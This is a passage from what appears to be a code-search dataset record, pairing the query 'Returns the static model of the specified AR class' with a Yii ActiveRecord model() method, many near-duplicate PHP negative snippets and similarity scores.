$this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "function getRequestData() {\n $data = [];\n $data['method'] = $_SERVER['REQUEST_METHOD'];\n $data['url'] = decodeRequestUri($_SERVER['REQUEST_URI']);\n\n $uri_parts = parse_url($data['url']);\n $path_parts = explode('/', $uri_parts['path']);\n\n // get parts from path\n foreach($path_parts as $idx => $param) {\n if($idx == 1) {\n $data['action'] = !empty($param) ? $param : \"desktop\";\n }\n \n if($idx > 1) {\n $data['params'][$idx - 2] = $param;\n }\n }\n\n // fill params with _GET data\n if(!empty($data['params_get'])) {\n $data['params_get'] = array_merge($data['params_get'], $_GET);\n } else {\n $data['params_get'] = $_GET;\n };\n\n // get login and token\n if(empty($_COOKIE['token'])) {\n $data['login'] = '';\n $data['token'] = '';\n } else {\n $data['login'] = $_COOKIE['login'];\n $data['token'] = $_COOKIE['token'];\n }\n\n // get body data (POST, PUT)\n $data['body'] = file_get_contents('php://input');\n\n return $data;\n}", "public function getRequest();", "public function getRequest();", "public function getRequest();", "public function getRequest();", "public function getRequest();", "public function getRequest();", "public function getRequest();", "public function getRequest();", "public function getRequest() {\n return $this->Request;\n }", "public function incomingRequest()\n\t{\n\t\treturn $this->request;\n\t}", "public function get_request_content();", "public static function getRequestBody() {}" ]
[ "0.7880124", "0.7597873", "0.7249857", "0.7238047", "0.7217601", "0.70326906", "0.69769996", "0.6976185", "0.6969695", "0.69663113", "0.69585246", "0.69585246", "0.6944993", "0.6942581", "0.69381225", "0.69381225", "0.6929897", "0.6927386", "0.6914865", "0.6894248", "0.68195206", "0.68156403", "0.6797645", "0.67838186", "0.6757206", "0.67500585", "0.66949624", "0.66709536", "0.6647777", "0.66109526", "0.65494937", "0.6517319", "0.65132475", "0.6513059", "0.6511642", "0.6511642", "0.6511642", "0.6511642", "0.65059", "0.65052134", "0.6495717", "0.6491716", "0.64841896", "0.6473351", "0.6473351", "0.6471531", "0.64692533", "0.6467268", "0.64588696", "0.64588696", "0.6455492", "0.6455492", "0.6449046", "0.6446801", "0.6444094", "0.6444094", "0.64412344", "0.643859", "0.643753", "0.642928", "0.642928", "0.642928", "0.64182115", "0.6414992", "0.64048284", "0.64048284", "0.64048284", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63989234", "0.63804406", "0.63602185", "0.63602185", "0.63602185", "0.63602185", "0.63602185", "0.63602185", "0.63602185", "0.63602185", "0.631912", "0.63124955", "0.6306605", "0.63028556" ]
0.0
-1
Returns the static model of the specified AR class.
public static function model ( $className = __CLASS__ ) { return parent::model($className); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function model()\r\n {\r\n return static::class;\r\n }", "public static function model() {\n return parent::model(get_called_class());\n }", "public static function model($class = __CLASS__)\n {\n return parent::model($class);\n }", "public static function model($class = __CLASS__)\n\t{\n\t\treturn parent::model(get_called_class());\n\t}", "static public function model($className = __CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__) { return parent::model($className); }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return CActiveRecord::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }" ]
[ "0.74850124", "0.73803526", "0.7154113", "0.71401674", "0.70629025", "0.703232", "0.69285315", "0.69285315", "0.6925706", "0.6902751", "0.6894916", "0.6894916", "0.68900806", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424" ]
0.0
-1
Retrieves a list of models based on the current search/filter conditions.
public function search () { // Warning: Please modify the following code to remove attributes that // should not be searched. $criteria = new CDbCriteria; $criteria->compare('id', $this->id); $criteria->compare('title', $this->title, true); $criteria->compare('description', $this->description, true); $criteria->compare('type', $this->type); $criteria->compare('required', $this->required); $criteria->compare('cId', $this->cId); return new CActiveDataProvider($this, array( 'criteria' => $criteria, )); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getModels();", "public function getModels();", "public function findAll($model);", "public function getListSearch()\n {\n //set warehouse and client id\n $warehouse_id = ( !is_numeric(request()->get('warehouse_id')) ) ? auth()->user()->current_warehouse_id : request()->get('warehouse_id');\n $client_id = ( !is_numeric(request()->get('client_id')) ) ? auth()->user()->current_client_id : request()->get('client_id');\n\n //instantiate model and run search\n $product_model = new Product();\n return $product_model->getListSearch(request()->get('search_term'), $warehouse_id, $client_id);\n }", "public function getModels()\n\t{\n\t\t$scope = $this->scopeName;\n\t\treturn CActiveRecord::model($this->baseModel)->$scope()->findAll();\n\t}", "protected function findModel()\n {\n $class = $this->model;\n $query = $class::query();\n\n foreach ($this->input as $key => $value) {\n $where = is_array($value) ? 'whereIn' : 'where';\n $query->$where($key, $value);\n }\n\n return $query->get();\n }", "public function modelScans()\n {\n if ($this->scanEverything) {\n return $this->getAllClasses();\n }\n\n return $this->scanModels;\n }", "public function listModels() {\n\n $config = $this->initConfig($version = AnalyzeModel::VERSION);\n\n $config->setQuery( [ 'version' => $version ] );\n\n $config->setMethod(HttpClientConfiguration::METHOD_GET);\n $config->setType(HttpClientConfiguration::DATA_TYPE_JSON);\n $config->setURL(self::BASE_URL.\"/models\");\n\n return $this->sendRequest($config);\n }", "public function getModelsForIndex()\n {\n $models = [];\n $all_models = $this->getAllModels();\n\n foreach ($all_models as $model) {\n //parse model\n $pieces = explode('.', $model);\n if (count($pieces) != 2) {\n throw new Exception('Parse error in AppModelList');\n }\n //check form match\n $app_model = $pieces[1];\n $link = $this->convertModelToLink($app_model);\n\n // add to actions\n $models[$app_model]['GET'] = [\n [\n 'action' => 'index',\n 'description' => 'List & filter all ' . $app_model . ' resources.',\n 'route' => '/' . env('EASY_API_BASE_URL', 'easy-api') . '/' . $link\n ],\n [\n 'action' => 'show',\n 'description' => 'Show the ' . $app_model . ' that has the matching {id} from the route.',\n 'route' => '/' . env('EASY_API_BASE_URL', 'easy-api') . '/' . $link . '/{id}'\n ]\n ];\n }\n return $models;\n }", "public function getModels()\n {\n $this->prepare();\n\n return $this->_models;\n }", "public function getModels()\n {\n $this->prepare();\n\n return $this->_models;\n }", "public function searchableBy()\n {\n return [];\n }", "public function all($model){\n\n if(!class_exists($model)){\n return new $model;\n }\n\n $table = $this->getTableName($model);\n $stmt = $this->pdo->prepare('select * from ' . $table);\n $stmt->execute();\n\n return $stmt->fetchAll(\\PDO::FETCH_CLASS, $model);\n }", "public static function find($model, $conditions = null, $orderby = null){\n\t\t$sql = \"SELECT * FROM \" . self::table_for($model);\n\t\tif ($conditions) $sql .= \" WHERE \" . self::make_conditions($conditions);\n\t\tif ($orderby)\t$sql .= \" ORDER BY \" . $orderby;\n\t\t\n\t\t$resultset = self::do_query($sql);\n\t\treturn self::get_results($resultset, $model);\n\t}", "function get_model_list($where=\"1\",$where_array,$sort_by=\"\"){\n\t\t$data= $this->select_query(\"make_model\",\"id,name,del_status\",$where,$where_array,$sort_by);\n\t\treturn $data;\n\t}", "public static function search()\n {\n return self::filterSearch([\n 'plot_ref' => 'string',\n 'plot_name' => 'string',\n 'plot_start_date' => 'string',\n 'user.name' => self::filterOption([\n 'select' => 'id',\n 'label' => trans_title('users', 'plural'),\n 'fields' => ['id', 'name'],\n //ComboBox user list base on the current client\n //See in App\\Models\\Users\\UsersScopes\n 'model' => app(User::class)->bySearch(),\n ]),\n 'client.client_name' => self::filterOption([\n 'conditional' => Credentials::hasRoles(['admin', 'admin-gv']),\n 'select' => 'client_id',\n 'label' => trans_title('clients', 'plural'),\n 'model' => Client::class,\n 'fields' => ['id', 'client_name']\n ])\n ]);\n }", "public function getList()\n {\n \treturn $this->model->where('is_base', '=', 0)->get();\n }", "public function getList()\n {\n $this->db->order_by(\"id\", 'desc');\n $this->db->where('status', 1);\n return $this->db->get($this->model);\n }", "public function findAll()\n {\n $fields = $options = [];\n //$options['debug'] = 1;\n $options['enablefieldsfe'] = 1;\n\n return $this->search($fields, $options);\n }", "public function findAll()\n {\n return $this->model->all();\n }", "public function get_multiple()\n\t{\n\t\t$options = array_merge(array(\n\t\t\t'offset' => 0,\n\t\t\t'limit' => 20,\n\t\t\t'sort_by' => 'name',\n\t\t\t'order' => 'ASC'\n\t\t), Input::all(), $this->options);\n\n\t\t// Preparing our query\n\t\t$results = $this->model->with($this->includes);\n\n\t\tif(count($this->join) > 0)\n\t\t{\n\t\t\tforeach ($this->join as $table => $settings) {\n\t\t\t\t$results = $results->join($table, $settings['join'][0], $settings['join'][1], $settings['join'][2]);\n\t\t\t\tif($settings['columns'])\n\t\t\t\t{\n\t\t\t\t\t$options['sort_by'] = (in_array($options['sort_by'], $settings['columns']) ? $table : $this->model->table()).'.'.$options['sort_by'];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(stripos($options['sort_by'], '.') === 0)\n\t\t{\n\t\t\t$options['sort_by'] = $this->model->table().'.' . $options['sort_by'];\n\t\t}\n\t\t\n\t\t// Add where's to our query\n\t\tif(array_key_exists('search', $options))\n\t\t{\n\t\t\tforeach($options['search']['columns'] as $column)\n\t\t\t{\n\t\t\t\t$results = $results->or_where($column, '~*', $options['search']['string']);\n\t\t\t}\n\t\t}\n\n\t\t$total = (int) $results->count();\n\n\t\t// Add order_by, skip & take to our results query\n\t\t$results = $results->order_by($options['sort_by'], $options['order'])->skip($options['offset'])->take($options['limit'])->get();\n\n\t\t$response = array(\n\t\t\t'results' => to_array($results),\n\t\t\t'total' => $total,\n\t\t\t'pages' => ceil($total / $options['limit'])\n\t\t);\n\n\t\treturn Response::json($response);\n\t}", "public function getAll()\n {\n return DB::table('product_models')->get()->all();\n }", "public function filter($params) {\n $model = $this->model;\n $keyword = isset($params['keyword'])?$params['keyword']:'';\n $sort = isset($params['sort'])?$params['sort']:''; \n if ($sort == 'name') {\n $query = $model->where('name','LIKE','%'.$keyword.'%')->orderBy('name'); \n }\n else if ($sort == 'newest') {\n $query = $model->where('name','LIKE','%'.$keyword.'%')->orderBy('updated_at','desc'); \n }\n else {\n $query = $model->where('name','LIKE','%'.$keyword.'%'); \n }\n /** filter by class_id */ \n if (isset($params['byclass']) && isset($params['bysubject'])) {\n $query = $model->listClass($params['byclass'], $params['bysubject']);\n return $query; \n }\n else if (isset($params['byclass'])) { \n $query = $model->listClass($params['byclass']);\n return $query;\n }\n else if (isset($params['bysubject'])) {\n $query = $model->listClass(0,$params['bysubject']);\n return $query;\n }\n /** filter by course status */\n if (isset($params['incomming'])) {\n $query = $model->listCourse('incomming');\n return $query;\n }\n else if (isset($params['upcomming'])) {\n $query = $model->listCourse('upcomming');\n return $query;\n }\n $result = $query->paginate(10); \n return $result; \n }", "public function getAll($model, $filters = array())\n {\n $repo = $this->getRepository($model);\n\n return $repo->getAll($filters);\n }", "public function filters(Model $model): array\n {\n return [];\n }", "public function getResults()\n {\n if($this->search) {\n foreach ($this->filters as $field) {\n $field = array_filter(explode('.', $field));\n if(count($field) == 2) {\n $this->query->whereHas($field[0], function ($q) use ($field) {\n $q->where($field[1], 'ilike', \"%{$this->search}%\");\n });\n }\n if(count($field) == 1) {\n $this->query->orWhere($field[0], 'ilike', \"%{$this->search}%\");\n }\n }\n }\n\n if($this->where) {\n foreach ($this->where as $field => $value) {\n $this->query->where($field, $value);\n }\n }\n\n if ($this->whereBetween) {\n foreach ($this->whereBetween as $field => $value)\n $this->query->whereBetween($field, $value);\n }\n// dd($this->query->toSql());\n return $this->query->paginate($this->per_page);\n }", "protected function _searchInModel(Model $model, Builder $items){\n foreach($model->searchable as $param){\n if($param != 'id'){\n if(isset($this->request[$param]))\n $items = $items->where($param, $this->request[$param]);\n if(isset($this->request[$param.'_like']))\n $items = $items->where($param, 'like', '%'.$this->request[$param.'_like'].'%');\n }else{\n if(isset($this->request['id'])){\n $ids = explode(',', $this->request['id']);\n $items = $items->whereIn('id', $ids);\n }\n }\n }\n\n return $items;\n }", "public function getAll($model)\n {\n $sql = \"SELECT * FROM {$this->table}\";\n $req = Database::getBdd()->prepare($sql);\n $req->execute();\n return $req->fetchAll(PDO::FETCH_CLASS,get_class($this->model));\n }", "private function getAllModels()\n {\n return (object)ModelRegistry::getAllObjects();\n }", "public function findAll()\n {\n return $this->driver->findAll($this->model);\n }", "public function getAllFilters();", "public function GetAll()\n {\n return $this->model->all();\n }", "public function fetch_all_models() {\n global $pdo;\n\n $query = $pdo->prepare(\"SELECT * FROM talents\");\n $query -> execute();\n return $query->fetchAll(\\PDO::FETCH_ASSOC);\n }", "public function findWhere($model, $conditions, $limit = 0){\n\n if(!class_exists($model)){\n return new $model;\n }\n\n $table = $this->getTableName($model);\n\n $sql = 'select * from ' . $table . ' where ';\n $values = [];\n $counter = 1;\n\n foreach ($conditions as $key => $value) {\n if($counter > 1)\n $sql .= ' AND ';\n\n $sql .= $key . '=?';\n $values[] = $value; \n $counter++;\n }\n\n if($limit > 0)\n $sql .= ' LIMIT ' . $limit;\n \n $stmt = $this->pdo->prepare($sql);\n $stmt->execute($values);\n\n return $stmt->fetchAll(\\PDO::FETCH_CLASS, $model);\n }", "public function search() {\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('type', $this->type);\n\n return $criteria;\n }", "public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t//$criteria->compare('object_id',$this->object_id);\n\t\t$criteria->compare('object_type_id',$this->object_type_id);\n\t\t$criteria->compare('data_type_id',$this->data_type_id);\n\t\t$criteria->compare('create_date',$this->create_date,true);\n\t\t$criteria->compare('client_ip',$this->client_ip,true);\n\t\t$criteria->compare('url',$this->url,true);\n\t\t$criteria->compare('url_origin',$this->url_origin,true);\n\t\t$criteria->compare('device',$this->device,true);\n\t\t$criteria->compare('country_name',$this->country_name,true);\n\t\t$criteria->compare('country_code',$this->country_code,true);\n\t\t$criteria->compare('regionName',$this->regionName,true);\n\t\t$criteria->compare('cityName',$this->cityName,true);\n\t\t$criteria->compare('browser',$this->browser,true);\n\t\t$criteria->compare('os',$this->os,true);\n\t\t\t// se agrego el filtro por el usuario actual\n\t\t$idUsuario=Yii::app()->user->getId();\n\t\t$model = Listings::model()->finbyAttributes(array('user_id'=>$idUsuario));\n\t\tif($model->id!=\"\"){\n\t\t\t$criteria->compare('object_id',$model->id);\t\n\t\t}else{\n\t\t\t$criteria->compare('object_id',\"Null\");\t\n\t\t}\n\t\t\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function getSearchFields();", "public function getModels()\n {\n return $this->_models;\n }", "public function all()\n {\n return $this->model->get();\n }", "public function getAllModels()\n {\n try {\n return AppModelList::models();\n }\n catch (Throwable $t) {\n throw new Exception('Parse Error: AppModelList.php has been corrupted.');\n }\n }", "protected function _list_items_query()\n\t{\n\t\t$this->filters = (array) $this->filters;\n\t\t$where_or = array();\n\t\t$where_and = array();\n\t\tforeach($this->filters as $key => $val)\n\t\t{\n\t\t\tif (is_int($key))\n\t\t\t{\n\t\t\t\tif (isset($this->filters[$val])) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t$key = $val;\n\t\t\t\t$val = $this->filter_value;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// used for separating table names and fields since periods get translated to underscores\n\t\t\t\t$key = str_replace(':', '.', $key);\n\t\t\t}\n\t\t\t\n\t\t\t$joiner = $this->filter_join;\n\t\t\t\n\t\t\tif (is_array($joiner))\n\t\t\t{\n\t\t\t\tif (isset($joiner[$key]))\n\t\t\t\t{\n\t\t\t\t\t$joiner = $joiner[$key];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$joiner = 'or';\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (!empty($val)) \n\t\t\t{\n\t\t\t\t$joiner_arr = 'where_'.$joiner;\n\t\t\t\t\n\t\t\t\tif (strpos($key, '.') === FALSE AND strpos($key, '(') === FALSE) $key = $this->table_name.'.'.$key;\n\t\t\t\t\n\t\t\t\t//$method = ($joiner == 'or') ? 'or_where' : 'where';\n\t\t\t\t\n\t\t\t\t// do a direct match if the values are integers and have _id in them\n\t\t\t\tif (preg_match('#_id$#', $key) AND is_numeric($val))\n\t\t\t\t{\n\t\t\t\t\t//$this->db->where(array($key => $val));\n\t\t\t\t\tarray_push($$joiner_arr, $key.'='.$val);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// from imknight https://github.com/daylightstudio/FUEL-CMS/pull/113#commits-pushed-57c156f\n\t\t\t\t//else if (preg_match('#_from#', $key) OR preg_match('#_to#', $key))\n\t\t\t\telse if (preg_match('#_from$#', $key) OR preg_match('#_fromequal$#', $key) OR preg_match('#_to$#', $key) OR preg_match('#_toequal$#', $key) OR preg_match('#_equal$#', $key))\n\t\t\t\t{\n\t\t\t\t\t//$key = strtr($key, array('_from' => ' >', '_fromequal' => ' >=', '_to' => ' <', '_toequal' => ' <='));\n\t\t\t\t\t$key_with_comparison_operator = preg_replace(array('#_from$#', '#_fromequal$#', '#_to$#', '#_toequal$#', '#_equal$#'), array(' >', ' >=', ' <', ' <=', ' ='), $key);\n\t\t\t\t\t//$this->db->where(array($key => $val));\n\t\t\t\t\t//$where_or[] = $key.'='.$this->db->escape($val);\n\t\t\t\t\tarray_push($$joiner_arr, $key_with_comparison_operator.$this->db->escape($val));\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t//$method = ($joiner == 'or') ? 'or_like' : 'like';\n\t\t\t\t\t//$this->db->$method('LOWER('.$key.')', strtolower($val), 'both');\n\t\t\t\t\tarray_push($$joiner_arr, 'LOWER('.$key.') LIKE \"%'.strtolower($val).'%\"');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t// here we will group the AND and OR separately which should handle most cases me thinks... but if not, you can always overwrite\n\t\t$where = array();\n\t\tif (!empty($where_or))\n\t\t{\n\t\t\t$where[] = '('.implode(' OR ', $where_or).')';\n\t\t}\n\t\tif (!empty($where_and))\n\t\t{\n\t\t\t$where[] = '('.implode(' AND ', $where_and).')';\n\t\t}\n\t\tif (!empty($where))\n\t\t{\n\t\t\t$where_sql = implode(' AND ', $where);\n\t\t\t$this->db->where($where_sql);\n\t\t}\n\t\t\n\t\t\n\t\t// set the table here so that items total will work\n\t\t$this->db->from($this->table_name);\n\t}", "public function getAll()\n {\n return $this->fetchAll($this->searchQuery(0));\n }", "public function listAction() {\n\t\t$this->view->config = Marcel_Backoffice_Config::getInstance()->getConfig();\n\t\t$modelName = $this->_getParam('model');\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$this->view->cols = $model->info('cols');\n\t\t$select = null;\n\t\t\n\t\tif ($this->_request->getParam('data')) {\n\t\t\t\n\t\t\t$data = unserialize($this->_request->getParam('data'));\n\t\t\t$aWhere = array();\n\t\t\t$searchText = array();\n\t\t\t\n\t\t\tforeach ($data['query'] as $key => $q) {\n\t\t\t\n\t\t\t\tif (isset($data['fields'][$key]) && !empty($data['fields'][$key])) {\n\t\t\t\t\n\t\t\t\t\t$func = addslashes($data['func'][$key]);\n\t\t\t\t\t$q =\taddslashes($q);\n\t\t\t\t\t$tmpWhere = array();\n\t\t\t\t\t$searchText[] = implode(' OU ', $data['fields'][$key]) . ' ' . $this->view->func[$func] . ' \"' . stripslashes($q) . '\"';\n\t\t\t\t\t\n\t\t\t\t\tforeach ($data['fields'][$key] as $field) {\n\t\t\t\t\t\n\t\t\t\t\t\t$field\t=\taddslashes($field);\n\t\t\t\t\t\tswitch ($func) {\n\t\t\t\t\t\t\tcase 'LIKE':\n\t\t\t\t\t\t\tcase 'NOT LIKE':\n\t\t\t\t\t\t\tcase '=':\n\t\t\t\t\t\t\tcase '!=':\n\t\t\t\t\t\t\tcase '>':\n\t\t\t\t\t\t\tcase '>=':\n\t\t\t\t\t\t\tcase '<':\n\t\t\t\t\t\t\tcase '<=':\n\t\t\t\t\t\t\t\tif (trim($q) != '') { $tmpWhere[] = $field . ' ' . $func . ' \\'' . $q . '\\''; }\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase \"= ''\":\n\t\t\t\t\t\t\tcase \"!= ''\":\n\t\t\t\t\t\t\tcase 'IS NULL':\n\t\t\t\t\t\t\tcase 'IS NOT NULL':\n\t\t\t\t\t\t\t\t$tmpWhere[] = $field . ' ' . stripslashes($func);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tif (trim($q) != '') { $tmpWhere[] = $field . ' LIKE \\'%' . $q . '%\\''; }\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$aWhere[] = '(' . implode(' OR ', $tmpWhere) . ')';\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!empty($aWhere)) { $select = $model->select()->where(implode(' AND ', $aWhere)); }\n\t\t\t$this->view->searchText = $searchText;\n\t\t}\n\t\t$this->view->model = $modelName;\n\t\t$this->view->allData = $model->fetchAll($select);\n\t\t$this->view->data = Zend_Paginator::factory($this->view->allData)\n\t\t\t\t\t\t\t->setCurrentPageNumber($this->_getParam('page', 1));\n\t}", "public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\n\t\t$criteria->compare('type_key',$this->type_key,true);\n\n\t\t$criteria->compare('type_name',$this->type_name,true);\n\n\t\t$criteria->compare('model',$this->model,true);\n\n\t\t$criteria->compare('status',$this->status,true);\n\t\t\n\t\t$criteria->compare('seo_title',$this->seo_title,true);\n\t\t\n\t\t$criteria->compare('seo_keywords',$this->seo_keywords,true);\n\t\t\n\t\t$criteria->compare('seo_description',$this->seo_description,true);\n\n\t\treturn new CActiveDataProvider('ModelType', array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function index(Request $request)\n {\n $this->validate($request, [\n 'type' => 'required',\n 'searched' => 'required',\n ]);\n\n try {\n if ($request->type == 'Categories') {\n return Category::search($request->searched)->take(20)->get();\n }\n\n if ($request->type == 'Submissions') {\n return $this->sugarFilter(Submission::search($request->searched)->take(20)->get());\n }\n\n if ($request->type == 